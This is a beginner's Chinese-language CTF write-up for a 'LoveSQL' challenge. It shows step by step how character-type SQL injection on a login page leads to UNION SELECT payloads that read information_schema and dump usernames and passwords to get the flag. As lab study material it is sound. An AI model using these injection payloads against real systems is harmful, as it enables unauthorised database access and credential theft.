本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,看到熟悉的登录页面,
尝试1,1’看看是什么类型的sql注入


回显sql语句报错,判断为字符型注入

使用堆叠注入发现某些字段或’;’被过滤无法进行堆叠注入,
更改思路,爆字段数


更改为1’ order by 4#

判断字段段数为3,即列数只有三列


推测注入点为字段2和字段3

使用联合查询爆数据库
payload:

1
1' union select 1,database(),3 #


数据库名为’geek’

爆表名,
payload:

1
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='geek'#


结合题目LoveSQL,优先选l0ve1ysq1进行爆破

1
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#


获得字段名

1
1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1#


往右划网页找到flag